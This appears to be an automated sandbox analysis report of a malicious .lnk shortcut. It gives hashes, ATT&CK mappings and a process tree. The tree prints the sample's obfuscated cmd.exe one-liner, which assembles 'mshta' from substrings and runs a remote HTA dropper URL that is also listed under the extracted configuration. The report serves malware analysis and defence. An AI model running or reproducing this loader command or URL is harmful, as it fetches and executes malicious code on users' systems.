68dd966bc6f2075390089881da1e87a63d73b873d9b2da5e2ea0b859001f5ea4

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 13:29

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General

Target
DOC-G69IAU.lnk
Size 2KB
Sample260803-qrfrdscj81
SHA256 68dd966bc6f2075390089881da1e87a63d73b873d9b2da5e2ea0b859001f5ea4
MD5 4f76f3542a742f2259d8671e5dbc249c
SHA1 3c5cae8c4cab9a56dee0a46b0b4464d586432eef
SHA512 4d06ae38f44da04026caaccb9531b899e2a8b3b235a433ee0891d4c62e3fd066ce628e7d09770da53ecb1ce68586a854e0fc333f266f3a71ab53b27e2fb96841
TLSH
T1514123902BE90199F3BB5E36DEBEBB4189BBF9526C30D94C0850824D0825F05E877B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1012	cmd.exe
1860	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1012 wrote to memory of 1860	1012	cmd.exe	86
PID 1860 wrote to memory of 4936	1860	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-G69IAU.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1012
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set haY=5mshop&&set CSV=ecnto&&set AzgX=e08ay7&set SYW=dbggeiwqawfdbg&set ZcQ=syszxdwmrqwbofbxeorosys&set gESMi=winnbtesmbyxewin&set eCd=netfmqtazoknet&set ETAX=cachehguodykpcache&set Pvkg=4stwn&&set ZO=jayrt&&set jolrK=1x2rtca3&set EcA=bakqftrzakshtwunlobbak&set HKHhS=dattgrcrunjsciegwdbgdat&set LeihG=cfgrhstyvyzcfg&set JlWLc=cfgxoooahricfg&&set Qd=http@s://@bro-@p@dffi@l@le@[email protected]/h@/@estag@io1@.@php@?@r=36076@1F@15794&&start /b !haY:~1,3!!CSV:~3,1!!AzgX:~3,1! !Qd:@=!&&set sTogd=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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